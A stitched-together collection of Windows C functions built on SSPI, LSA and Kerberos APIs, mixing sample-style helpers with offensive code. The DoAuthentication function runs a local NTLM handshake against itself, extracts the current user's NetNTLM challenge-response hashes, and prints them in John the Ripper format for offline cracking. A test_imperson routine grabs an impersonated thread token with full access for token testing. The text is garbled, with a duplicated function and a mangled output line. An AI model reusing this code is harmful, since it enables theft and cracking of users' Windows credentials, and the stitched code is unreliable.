/* * Wrapper arround initializeSecurityContext. Supplies several * default parameters as well as logging in case of errors. */ static SECURITY_STATUS initializeSecurityContext(CredHandle * credentials, CtxtHandle * context, char *spn, ULONG contextReq, SecBufferDesc * inBuffer, CtxtHandle * newContext, SecBufferDesc * outBuffer) { ULONG contextAttributes; SECURITY_STATUS status; status = pSFT->InitializeSecurityContext(credentials, context, spn, contextReq, 0, SECURITY_NETWORK_DREP, inBuffer, 0, newContext, outBuffer, &contextAttributes, NULL); if (!SEC_SUCCESS(status)) { if (status == SEC_E_INVALID_TOKEN) { NE_DEBUG(NE_DBG_HTTPAUTH, "InitializeSecurityContext [fail] SEC_E_INVALID_TOKEN.\n"); } else if (status == SEC_E_UNSUPPORTED_FUNCTION) { NE_DEBUG(NE_DBG_HTTPAUTH, "InitializeSecurityContext [fail] SEC_E_UNSUPPORTED_FUNCTION.\n"); } else { NE_DEBUG(NE_DBG_HTTPAUTH, "InitializeSecurityContext [fail] [%x].\n", status); } } return status; }
BOOL PackageConnectLookup( HANDLE *pLogonHandle, ULONG *pPackageId ) { LSA_STRING Name; NTSTATUS Status; Status = LsaConnectUntrusted( pLogonHandle ); if (!SEC_SUCCESS(Status)) { ShowNTError("LsaConnectUntrusted", Status); return FALSE; } Name.Buffer = MICROSOFT_KERBEROS_NAME_A; Name.Length = strlen(Name.Buffer); Name.MaximumLength = Name.Length + 1; Status = LsaLookupAuthenticationPackage( *pLogonHandle, &Name, pPackageId ); if (!SEC_SUCCESS(Status)) { ShowNTError("LsaLookupAuthenticationPackage", Status); return FALSE; } return TRUE; }
BOOL AcquireCreds() { SECURITY_STATUS ss; TimeStamp Lifetime; PSecPkgInfo pkgInfo; // Set the default package to negotiate. tstrcpy_s(g_lpPackageName, 1024, TEXT("Negotiate")); // Initialize the security package. ss = QuerySecurityPackageInfo(g_lpPackageName, &pkgInfo); // get the max token size g_cbMaxMessage = pkgInfo->cbMaxToken; FreeContextBuffer(pkgInfo); // set the max token sizes g_pInBuf = (PBYTE)malloc(g_cbMaxMessage); g_pOutBuf = (PBYTE)malloc(g_cbMaxMessage); // get the security handles ss = AcquireCredentialsHandle( NULL, g_lpPackageName, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hcred, &Lifetime); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "AcquireCreds failed: 0x%08x\n", ss); return(FALSE); } return (TRUE); }
BOOL GenServerContext ( BYTE *pIn, DWORD cbIn, BYTE *pOut, DWORD *pcbOut, BOOL *pfDone, BOOL fNewConversation, CredHandle *hcred, struct _SecHandle *hctxt) { SECURITY_STATUS ss; TimeStamp Lifetime; SecBufferDesc OutBuffDesc; SecBuffer OutSecBuff; SecBufferDesc InBuffDesc; SecBuffer InSecBuff; ULONG Attribs = 0; OutBuffDesc.ulVersion = 0; OutBuffDesc.cBuffers = 1; OutBuffDesc.pBuffers = &OutSecBuff; OutSecBuff.cbBuffer = *pcbOut; OutSecBuff.BufferType = SECBUFFER_TOKEN; OutSecBuff.pvBuffer = pOut; InBuffDesc.ulVersion = 0; InBuffDesc.cBuffers = 1; InBuffDesc.pBuffers = &InSecBuff; InSecBuff.cbBuffer = cbIn; InSecBuff.BufferType = SECBUFFER_TOKEN; InSecBuff.pvBuffer = pIn; ss = AcceptSecurityContext (hcred, fNewConversation ? NULL : hctxt, &InBuffDesc, Attribs, SECURITY_NATIVE_DREP, hctxt, &OutBuffDesc, &Attribs, &Lifetime); if (!SEC_SUCCESS (ss)) { fprintf (stderr, "AcceptSecurityContext failed: 0x%08x\n", ss); return FALSE; } *pcbOut = OutSecBuff.cbBuffer; *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); return TRUE; }
PBYTE VerifyThis( PBYTE pBuffer, LPDWORD pcbMessage, struct _SecHandle *hCtxt, ULONG cbMaxSignature) { SECURITY_STATUS ss; SecBufferDesc BuffDesc; SecBuffer SecBuff[2]; ULONG ulQop = 0; PBYTE pSigBuffer; PBYTE pDataBuffer; //------------------------------------------------------------------- // The global cbMaxSignature is the size of the signature // in the message received. printf ("data before verifying (including signature):\n"); PrintHexDump (*pcbMessage, pBuffer); //-------------------------------------------------------------------- // By agreement with the server, // the signature is at the beginning of the message received, // and the data that was signed comes after the signature. pSigBuffer = pBuffer; pDataBuffer = pBuffer + cbMaxSignature; //------------------------------------------------------------------- // The size of the message is reset to the size of the data only. *pcbMessage = *pcbMessage - (cbMaxSignature); //-------------------------------------------------------------------- // Prepare the buffers to be passed to the signature verification // function. BuffDesc.ulVersion = 0; BuffDesc.cBuffers = 2; BuffDesc.pBuffers = SecBuff; SecBuff[0].cbBuffer = cbMaxSignature; SecBuff[0].BufferType = SECBUFFER_TOKEN; SecBuff[0].pvBuffer = pSigBuffer; SecBuff[1].cbBuffer = *pcbMessage; SecBuff[1].BufferType = SECBUFFER_DATA; SecBuff[1].pvBuffer = pDataBuffer; ss = VerifySignature( hCtxt, &BuffDesc, 0, &ulQop ); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "VerifyMessage failed"); } else { printf("Message was properly signed.\n"); } return pDataBuffer; } // end VerifyThis
PBYTE DecryptThis( PBYTE pBuffer, LPDWORD pcbMessage, struct _SecHandle *hCtxt, ULONG cbSecurityTrailer) { SECURITY_STATUS ss; SecBufferDesc BuffDesc; SecBuffer SecBuff[2]; ULONG ulQop = 0; PBYTE pSigBuffer; PBYTE pDataBuffer; DWORD SigBufferSize; //------------------------------------------------------------------- // By agreement, the server encrypted the message and set the size // of the trailer block to be just what it needed. DecryptMessage // needs the size of the trailer block. // The size of the trailer is in the first DWORD of the // message received. SigBufferSize = *((DWORD *) pBuffer); printf ("data before decryption including trailer (%lu bytes):\n", *pcbMessage); PrintHexDump (*pcbMessage, (PBYTE) pBuffer); //-------------------------------------------------------------------- // By agreement, the server placed the trailer at the beginning // of the message that was sent immediately following the trailer // size DWORD. pSigBuffer = pBuffer + sizeof(DWORD); //-------------------------------------------------------------------- // The data comes after the trailer. pDataBuffer = pSigBuffer + SigBufferSize; //-------------------------------------------------------------------- // *pcbMessage is reset to the size of just the encrypted bytes. *pcbMessage = *pcbMessage - SigBufferSize - sizeof(DWORD); //-------------------------------------------------------------------- // Prepare the buffers to be passed to the DecryptMessage function. BuffDesc.ulVersion = 0; BuffDesc.cBuffers = 2; BuffDesc.pBuffers = SecBuff; SecBuff[0].cbBuffer = SigBufferSize; SecBuff[0].BufferType = SECBUFFER_TOKEN; SecBuff[0].pvBuffer = pSigBuffer; SecBuff[1].cbBuffer = *pcbMessage; SecBuff[1].BufferType = SECBUFFER_DATA; SecBuff[1].pvBuffer = pDataBuffer; ss = DecryptMessage( hCtxt, &BuffDesc, 0, &ulQop); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "DecryptMessage failed"); } //------------------------------------------------------------------- // Return a pointer to the decrypted data. The trailer data // is discarded. return pDataBuffer; }
BOOL GenClientContext ( BYTE *pIn, DWORD cbIn, BYTE *pOut, DWORD *pcbOut, BOOL *pfDone, CHAR *pszTarget, CredHandle *hCred, struct _SecHandle *hcText) { SECURITY_STATUS ss; TimeStamp Lifetime; SecBufferDesc OutBuffDesc; SecBuffer OutSecBuff; SecBufferDesc InBuffDesc; SecBuffer InSecBuff; ULONG ContextAttributes; static TCHAR lpPackageName[1024]; if( NULL == pIn ) { strcpy_s(lpPackageName, 1024 * sizeof(TCHAR), "Negotiate"); ss = AcquireCredentialsHandle ( NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, hCred, &Lifetime); if (!(SEC_SUCCESS (ss))) { MyHandleError("AcquireCreds failed "); } } //-------------------------------------------------------------------- // Prepare the buffers. OutBuffDesc.ulVersion = 0; OutBuffDesc.cBuffers = 1; OutBuffDesc.pBuffers = &OutSecBuff; OutSecBuff.cbBuffer = *pcbOut; OutSecBuff.BufferType = SECBUFFER_TOKEN; OutSecBuff.pvBuffer = pOut; //------------------------------------------------------------------- // The input buffer is created only if a message has been received // from the server. if (pIn) { InBuffDesc.ulVersion = 0; InBuffDesc.cBuffers = 1; InBuffDesc.pBuffers = &InSecBuff; InSecBuff.cbBuffer = cbIn; InSecBuff.BufferType = SECBUFFER_TOKEN; InSecBuff.pvBuffer = pIn; ss = InitializeSecurityContext ( hCred, hcText, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); } else { ss = InitializeSecurityContext ( hCred, NULL, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); } if (!SEC_SUCCESS (ss)) { MyHandleError ("InitializeSecurityContext failed " ); } //------------------------------------------------------------------- // If necessary, complete the token. if ((SEC_I_COMPLETE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)) { ss = CompleteAuthToken (hcText, &OutBuffDesc); if (!SEC_SUCCESS(ss)) { fprintf (stderr, "complete failed: 0x%08x\n", ss); return FALSE; } } *pcbOut = OutSecBuff.cbBuffer; *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); printf ("Token buffer generated (%lu bytes):\n", OutSecBuff.cbBuffer); PrintHexDump (OutSecBuff.cbBuffer, (PBYTE)OutSecBuff.pvBuffer); return TRUE; }
void main() { SOCKET Client_Socket; BYTE Data[BIG_BUFF]; PCHAR pMessage; WSADATA wsaData; CredHandle hCred; struct _SecHandle hCtxt; SECURITY_STATUS ss; DWORD cbRead; ULONG cbMaxSignature; ULONG cbSecurityTrailer; SecPkgContext_Sizes SecPkgContextSizes; SecPkgContext_NegotiationInfo SecPkgNegInfo; BOOL DoAuthentication (SOCKET s); //------------------------------------------------------------------- // Initialize the socket and the SSP security package. if(WSAStartup (0x0101, &wsaData)) { MyHandleError("Could not initialize winsock "); } //-------------------------------------------------------------------- // Connect to a server. if (!ConnectAuthSocket ( &Client_Socket, &hCred, &hCtxt)) { MyHandleError("Authenticated server connection "); } //-------------------------------------------------------------------- // An authenticated session with a server has been established. // Receive and manage a message from the server. // First, find and display the name of the negotiated // SSP and the size of the signature and the encryption // trailer blocks for this SSP. ss = QueryContextAttributes( &hCtxt, SECPKG_ATTR_NEGOTIATION_INFO, &SecPkgNegInfo ); if (!SEC_SUCCESS(ss)) { MyHandleError("QueryContextAttributes failed "); } else { printf("Package Name: %s\n", SecPkgNegInfo.PackageInfo->Name); } ss = QueryContextAttributes( &hCtxt, SECPKG_ATTR_SIZES, &SecPkgContextSizes ); if (!SEC_SUCCESS(ss)) { MyHandleError("Query context "); } cbMaxSignature = SecPkgContextSizes.cbMaxSignature; cbSecurityTrailer = SecPkgContextSizes.cbSecurityTrailer; printf("InitializeSecurityContext result = 0x%08x\n", ss); //-------------------------------------------------------------------- // Decrypt and display the message from the server. if (!ReceiveBytes( Client_Socket, Data, BIG_BUFF, &cbRead)) { MyHandleError("No response from server "); } if (0 == cbRead) { MyHandleError("Zero bytes received "); } pMessage = (PCHAR) DecryptThis( Data, &cbRead, &hCtxt, cbSecurityTrailer); printf ("The message from the server is \n -> %.*s \n", cbRead, pMessage); //-------------------------------------------------------------------- // Terminate socket and security package. DeleteSecurityContext (&hCtxt); FreeCredentialHandle (&hCred); shutdown (Client_Socket, 2); closesocket (Client_Socket); if (SOCKET_ERROR == WSACleanup ()) { MyHandleError("Problem with socket cleanup "); } exit (EXIT_SUCCESS); } // end main
DWORD GetEncodedTicket( HANDLE LogonHandle, ULONG PackageId, wchar_t *Server ) { NTSTATUS Status; PKERB_RETRIEVE_TKT_REQUEST CacheRequest = NULL; PKERB_RETRIEVE_TKT_RESPONSE CacheResponse = NULL; PKERB_EXTERNAL_TICKET Ticket; ULONG ResponseSize; NTSTATUS SubStatus; BOOLEAN Trusted = TRUE; BOOLEAN Success = FALSE; UNICODE_STRING Target = {0}; UNICODE_STRING Target2 = {0}; InitUnicodeString( &Target2, Server); CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST)); CacheRequest->MessageType = KerbRetrieveEncodedTicketMessage ; CacheRequest->LogonId.LowPart = 0; CacheRequest->LogonId.HighPart = 0; Target.Buffer = (LPWSTR) (CacheRequest + 1); Target.Length = Target2.Length; Target.MaximumLength = Target2.MaximumLength; CopyMemory( Target.Buffer, Target2.Buffer, Target2.Length ); CacheRequest->TargetName = Target; Status = LsaCallAuthenticationPackage( LogonHandle, PackageId, CacheRequest, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST), (PVOID *) &CacheResponse, &ResponseSize, &SubStatus ); if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { ShowNTError("LsaCallAuthenticationPackage", Status); printf("Substatus: 0x%x\n",SubStatus); ShowNTError("Substatus:", SubStatus); } else { Ticket = &(CacheResponse->Ticket); printf("\nEncoded Ticket:\n\n"); printf("ServiceName: "); PrintKerbName(Ticket->ServiceName); printf("TargetName: "); PrintKerbName(Ticket->TargetName); printf("ClientName: "); PrintKerbName(Ticket->ClientName); printf("DomainName: %.*S\n", Ticket->DomainName.Length/sizeof(WCHAR),Ticket->DomainName.Buffer); printf("TargetDomainName: %.*S\n", Ticket->TargetDomainName.Length/sizeof(WCHAR),Ticket->TargetDomainName.Buffer); printf("AltTargetDomainName: %.*S\n", Ticket->AltTargetDomainName.Length/sizeof(WCHAR),Ticket->AltTargetDomainName.Buffer); printf("TicketFlags: (0x%x) ",Ticket->TicketFlags); PrintTktFlags(Ticket->TicketFlags); PrintTime("KeyExpirationTime: ",Ticket->KeyExpirationTime); PrintTime("StartTime: ",Ticket->StartTime); PrintTime("EndTime: ",Ticket->EndTime); PrintTime("RenewUntil: ",Ticket->RenewUntil); PrintTime("TimeSkew: ",Ticket->TimeSkew); PrintEType(Ticket->SessionKey.KeyType); Success = TRUE; } if (CacheResponse) { LsaFreeReturnBuffer(CacheResponse); } if (CacheRequest) { LocalFree(CacheRequest); } return Success; }
BOOL ShowTgt( HANDLE LogonHandle, ULONG PackageId ) { NTSTATUS Status; KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; PKERB_RETRIEVE_TKT_RESPONSE TicketEntry = NULL; PKERB_EXTERNAL_TICKET Ticket; ULONG ResponseSize; NTSTATUS SubStatus; BOOLEAN Trusted = TRUE; CacheRequest.MessageType = KerbRetrieveTicketMessage; CacheRequest.LogonId.LowPart = 0; CacheRequest.LogonId.HighPart = 0; Status = LsaCallAuthenticationPackage( LogonHandle, PackageId, &CacheRequest, sizeof(CacheRequest), (PVOID *) &TicketEntry, &ResponseSize, &SubStatus ); if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { ShowNTError("LsaCallAuthenticationPackage", Status); printf("Substatus: 0x%x\n",SubStatus); return FALSE; } Ticket = &(TicketEntry->Ticket); printf("\nCached TGT:\n\n"); printf("ServiceName: "); PrintKerbName(Ticket->ServiceName); printf("TargetName: "); PrintKerbName(Ticket->TargetName); printf("FullServiceName: "); PrintKerbName(Ticket->ClientName); printf("DomainName: %.*S\n", Ticket->DomainName.Length/sizeof(WCHAR),Ticket->DomainName.Buffer); printf("TargetDomainName: %.*S\n", Ticket->TargetDomainName.Length/sizeof(WCHAR),Ticket->TargetDomainName.Buffer); printf("AltTargetDomainName: %.*S\n", Ticket->AltTargetDomainName.Length/sizeof(WCHAR),Ticket->AltTargetDomainName.Buffer); printf("TicketFlags: (0x%x) ",Ticket->TicketFlags); PrintTktFlags(Ticket->TicketFlags); PrintTime("KeyExpirationTime: ",Ticket->KeyExpirationTime); PrintTime("StartTime: ",Ticket->StartTime); PrintTime("EndTime: ",Ticket->EndTime); PrintTime("RenewUntil: ",Ticket->RenewUntil); PrintTime("TimeSkew: ",Ticket->TimeSkew); PrintEType(Ticket->SessionKey.KeyType); if (TicketEntry != NULL) { LsaFreeReturnBuffer(TicketEntry); } return TRUE; }
BOOL ShowTickets( HANDLE LogonHandle, ULONG PackageId, DWORD dwMode ) { NTSTATUS Status; KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; PKERB_QUERY_TKT_CACHE_RESPONSE CacheResponse = NULL; ULONG ResponseSize; NTSTATUS SubStatus; ULONG Index; int ch; CacheRequest.MessageType = KerbQueryTicketCacheMessage; CacheRequest.LogonId.LowPart = 0; CacheRequest.LogonId.HighPart = 0; Status = LsaCallAuthenticationPackage( LogonHandle, PackageId, &CacheRequest, sizeof(CacheRequest), (PVOID *) &CacheResponse, &ResponseSize, &SubStatus ); if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { ShowNTError("LsaCallAuthenticationPackage", Status); printf("Substatus: 0x%x\n",SubStatus); return FALSE; } printf("\nCached Tickets: (%lu)\n", CacheResponse->CountOfTickets); for (Index = 0; Index < CacheResponse->CountOfTickets ; Index++ ) { printf("\n Server: %wZ@%wZ\n", &CacheResponse->Tickets[Index].ServerName, &CacheResponse->Tickets[Index].RealmName); printf(" "); PrintEType(CacheResponse->Tickets[Index].EncryptionType); PrintTime(" End Time: ",CacheResponse->Tickets[Index].EndTime); PrintTime(" Renew Time: ",CacheResponse->Tickets[Index].RenewTime); printf(" TicketFlags: (0x%x) ", CacheResponse->Tickets[Index].TicketFlags); PrintTktFlags(CacheResponse->Tickets[Index].TicketFlags); printf("\n"); if(dwMode == INTERACTIVE_PURGE) { printf("Purge? (y/n/q) : "); ch = _getche(); if(ch == 'y' || ch == 'Y') { printf("\n"); PurgeTicket( LogonHandle, PackageId, CacheResponse->Tickets[Index].ServerName.Buffer, CacheResponse->Tickets[Index].ServerName.Length, CacheResponse->Tickets[Index].RealmName.Buffer, CacheResponse->Tickets[Index].RealmName.Length ); } else if(ch == 'q' || ch == 'Q') goto cleanup; else printf("\n\n"); } } cleanup: if (CacheResponse != NULL) { LsaFreeReturnBuffer(CacheResponse); } return TRUE; }
BOOL PurgeTicket( HANDLE LogonHandle, ULONG PackageId, LPWSTR Server, DWORD cbServer, LPWSTR Realm, DWORD cbRealm ) { NTSTATUS Status; PVOID Response; ULONG ResponseSize; NTSTATUS SubStatus=0; PKERB_PURGE_TKT_CACHE_REQUEST pCacheRequest = NULL; pCacheRequest = (PKERB_PURGE_TKT_CACHE_REQUEST) LocalAlloc(LMEM_ZEROINIT, cbServer + cbRealm + sizeof(KERB_PURGE_TKT_CACHE_REQUEST)); pCacheRequest->MessageType = KerbPurgeTicketCacheMessage; pCacheRequest->LogonId.LowPart = 0; pCacheRequest->LogonId.HighPart = 0; CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST), Server,cbServer); CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer, Realm,cbRealm); pCacheRequest->ServerName.Buffer = (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)); pCacheRequest->ServerName.Length = (unsigned short)cbServer; pCacheRequest->ServerName.MaximumLength = (unsigned short)cbServer; pCacheRequest->RealmName.Buffer = (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer); pCacheRequest->RealmName.Length = (unsigned short)cbRealm; pCacheRequest->RealmName.MaximumLength = (unsigned short)cbRealm; printf("\tDeleting ticket: \n"); printf("\t ServerName = %wZ (cb=%lu)\n",&pCacheRequest->ServerName,cbServer); printf("\t RealmName = %wZ (cb=%lu)\n",&pCacheRequest->RealmName,cbRealm); Status = LsaCallAuthenticationPackage( LogonHandle, PackageId, pCacheRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer+cbRealm, &Response, &ResponseSize, &SubStatus ); if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(Status)) { ShowNTError("LsaCallAuthenticationPackage(purge)", Status); printf("Substatus: 0x%x\n",SubStatus); ShowNTError("LsaCallAuthenticationPackage(purge SubStatus)", SubStatus); return FALSE; } else { printf("\tTicket purged!\n"); return TRUE; } }
void test_imperson(){ SECURITY_STATUS ss; SecPkgContext_Sizes SecPkgContextSizes; SecPkgContext_NegotiationInfo SecPkgNegInfo; ULONG cbMaxSignature; ULONG cbSecurityTrailer; //username bullshit LPTSTR pUserName = NULL; DWORD cbUserName = 0; ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_SIZES, &SecPkgContextSizes); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "QueryContextAttributes failed: 0x%08x\n", ss); exit(1); } //---------------------------------------------------------------- // The following values are used for encryption and signing. cbMaxSignature = SecPkgContextSizes.cbMaxSignature; cbSecurityTrailer = SecPkgContextSizes.cbSecurityTrailer; ss = QueryContextAttributes( &hctxt, SECPKG_ATTR_NEGOTIATION_INFO, &SecPkgNegInfo); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "QueryContextAttributes failed: 0x%08x\n", ss); exit(1); } else { wprintf(L"PackageName: %s\n", (SecPkgNegInfo.PackageInfo->Name)); wprintf(L"PackageName: %s\n", (SecPkgNegInfo.PackageInfo->Comment)); } // Free the allocated buffer. FreeContextBuffer(SecPkgNegInfo.PackageInfo); printf("Now impersonating via thread\n"); ss = ImpersonateSecurityContext(&hctxt); // error check if (!SEC_SUCCESS(ss)) { fprintf(stderr, "Impersonate failed: 0x%08x\n", ss); cleanup(); } else { printf("Impersonation worked. \n"); } DWORD dwErrorCode = 0; if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &letToken)) { printf("it WORKED!\n"); } else { dwErrorCode = GetLastError(); wprintf(L"OpenProcessToken failed. GetLastError returned: %d\n", dwErrorCode); } DWORD dwBufferSize = 0; GetTokenInformation( letToken, TokenUser, // Request for a TOKEN_USER structure. NULL, 0, &dwBufferSize ); // username bullshit TCHAR username[UNLEN + 1]; DWORD size = UNLEN + 1; GetUserName((TCHAR*)username, &size); std::cout << "Username: "******"\n" << std::endl; /* SecPkgContext_SessionKey SecPackSess; SecPkgContext_KeyInfo SecPackKey; ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_SESSION_KEY, &SecPackSess); ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_KEY_INFO, &SecPackKey); */ /* printf("OHHH YESSSSS!\n"; printf("OHHH YESSSSS!\n"; printf("Test calc.exe\n"); if (!system("calc.exe")) { printf("test failed\n"); } */ ////////////////////////////////////////////////////////////////////// printf("Check your tokens now bro!\n"); // sleep printf("Sleeping for 5min"); Sleep(300000); //just a test // Revert to self. ss = RevertSecurityContext(&hctxt); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "Revert failed: 0x%08x\n", ss); cleanup(); } else { printf("Reverted to self.\n"); } }
BOOL GenServerContext(BYTE *pIn, DWORD cbIn, BYTE *pOut, DWORD *pcbOut, BOOL *pfDone, BOOL fNewConversation) { SECURITY_STATUS ss; TimeStamp Lifetime; SecBufferDesc OutBuffDesc; SecBuffer OutSecBuff; SecBufferDesc InBuffDesc; SecBuffer InSecBuff; ULONG Attribs = ASC_REQ_DELEGATE; //0 // prepare output buffers. OutBuffDesc.ulVersion = 0; OutBuffDesc.cBuffers = 1; OutBuffDesc.pBuffers = &OutSecBuff; // prepare output security buffers. OutSecBuff.cbBuffer = *pcbOut; OutSecBuff.BufferType = SECBUFFER_TOKEN; OutSecBuff.pvBuffer = pOut; // prepare input buffers. InBuffDesc.ulVersion = 0; InBuffDesc.cBuffers = 1; InBuffDesc.pBuffers = &InSecBuff; // prepare input security buffers InSecBuff.cbBuffer = cbIn; InSecBuff.BufferType = SECBUFFER_TOKEN; InSecBuff.pvBuffer = pIn; printf("Token buffer received (%lu bytes):\n", InSecBuff.cbBuffer); // PrintHexDump(InSecBuff.cbBuffer, (PBYTE)InSecBuff.pvBuffer); // Get the security context ss = AcceptSecurityContext( &hcred, fNewConversation ? NULL : &hctxt, &InBuffDesc, Attribs, //ASC_REQ_DELEGATE SECURITY_NATIVE_DREP, &hctxt, &OutBuffDesc, &Attribs, &Lifetime); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "AcceptSecurityContext failed: 0x%08x\n", ss); return FALSE; } // Complete token if applicable. if ((SEC_I_COMPLETE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)) { printf("Calling complete auth token\n"); ss = CompleteAuthToken(&hctxt, &OutBuffDesc); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "complete failed: 0x%08x\n", ss); return FALSE; } } // IT WORKED HERE!!! *pcbOut = OutSecBuff.cbBuffer; *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); // at the end print if its accepted printf("AcceptSecurityContext result = 0x%08x\n", ss); return TRUE; }
BOOL DoAuthentication (void) { SECURITY_STATUS ss; DWORD cbIn; DWORD cbOut; DWORD g_cbMaxMessage; BOOL done = FALSE; BOOL fDone = FALSE; BOOL fNewConversation = TRUE; TimeStamp Lifetime; PSecPkgInfoA pkgInfo; CredHandle hcred; CredHandle hCcred; struct _SecHandle hctxt; struct _SecHandle hCctxt; PBYTE g_pInBuf = NULL; PBYTE g_pOutBuf = NULL; SEC_CHAR g_lpPackageName[1024]; PBYTE nonce, clientnonce, lmhash, nthash; PCHAR pUserName = NULL; DWORD cbUserName = 0; lstrcpynA (g_lpPackageName, "NTLM",5); ss = QuerySecurityPackageInfoA ( g_lpPackageName, &pkgInfo); if (!SEC_SUCCESS(ss)) MyHandleError("Could not query package"); g_cbMaxMessage = pkgInfo->cbMaxToken; FreeContextBuffer(pkgInfo); g_pInBuf = (PBYTE) malloc (g_cbMaxMessage); g_pOutBuf = (PBYTE) malloc (g_cbMaxMessage); if (NULL == g_pInBuf || NULL == g_pOutBuf) MyHandleError("Memory allocation"); ss = AcquireCredentialsHandleA (NULL, g_lpPackageName, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hcred, &Lifetime); if (!SEC_SUCCESS (ss)) MyHandleError("AcquireCreds failed"); cbOut = g_cbMaxMessage; if (!GenClientContext ( NULL, 0, g_pOutBuf, &cbOut, &fDone, "NTLM", &hCcred, &hCctxt)) MyHandleError("Cant't generate client context"); printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut);//type1 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); memcpy(g_pInBuf,g_pOutBuf, cbOut); cbIn = cbOut; cbOut = g_cbMaxMessage; if (!GenServerContext (g_pInBuf, cbIn, g_pOutBuf, &cbOut, &done, fNewConversation, &hcred, &hctxt)) MyHandleError("GenServerContext failed"); fNewConversation = FALSE; printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut); //type2 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); memcpy(g_pInBuf,g_pOutBuf, cbOut); cbIn = cbOut; cbOut = g_cbMaxMessage; nonce = (PBYTE) malloc (16); memcpy (nonce, (void *)&g_pOutBuf[24], 8); if (!GenClientContext (g_pInBuf, cbIn, g_pOutBuf, &cbOut, &fDone, "NTLM", &hCcred, &hCctxt)) MyHandleError("GenClientContext failed"); printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut);//type3 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); pUserName = (PCHAR) malloc (cbUserName); GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); cbUserName = (DWORD)((int)strchr(pUserName,'\\')); *(char *)cbUserName = 0; printf("g_pOutBuf[22]=%d\n",g_pOutBuf[22]); if (g_pOutBuf[22] > 24) { printf("NTLMv2\n"); nthash = (PBYTE) malloc (16); cbIn = g_pOutBuf[24] + (g_pOutBuf[25] << 8); memcpy (nthash, (void *)&g_pOutBuf[cbIn], 16); cbIn += 16; clientnonce = (PBYTE) malloc (cbOut - cbIn - 16); //memcpy (clientnonce, (void *)&g_pOutBuf[cbIn], 84); memcpy (clientnonce, (void *)&g_pOutBuf[cbIn], cbOut - cbIn - 16); printf("Nonce: "); PrintHex (8, nonce); printf("\nClientNonce: "); PrintHex (cbOut - cbIn - 16, clientnonce); printf("\nNThash: "); PrintHex (16, nthash); printf("\n"); printf("\nJTR: %s::%s", (unsigned char *)((int)cbUserName+1), (unsigned char *)pUserName); printf(":"); PrintHex (8, nonce); printf(":"); PrintHex (16, nthash); printf(":"); PrintHex (cbOut - cbIn - 16, clientnonce); printf("\n"); } else if (g_pOutBuf[22] == 24) { printf("NTLM\n"); lmhash = (PBYTE) malloc (24); cbIn = g_pOutBuf[16] + (g_pOutBuf[17] << 8); memcpy (lmhash, (void *)&g_pOutBuf[cbIn], 24); nthash = (PBYTE) malloc (24); cbIn = g_pOutBuf[24] + (g_pOutBuf[25] << 8); memcpy (nthash, (void *)&g_pOutBuf[cbIn], 24); printf("\nNonce: "); PrintHex (8, nonce); printf("\nLMhash: "); PrintHex (24, lmhash); printf("\nNThash: "); PrintHex (24, nthash); printf("\nJTR: %s::%s", (unsigned char *)((int)cbUserName+1), (unsigned char *)pUserName); printf(":"); PrintHex (24, lmhash); printf(":"); PrintHex (24, nthash); printf(":"); PrintHex (8, nonce); printf("\n"); } else { printf("Unknown hashtype"); } return(TRUE); }
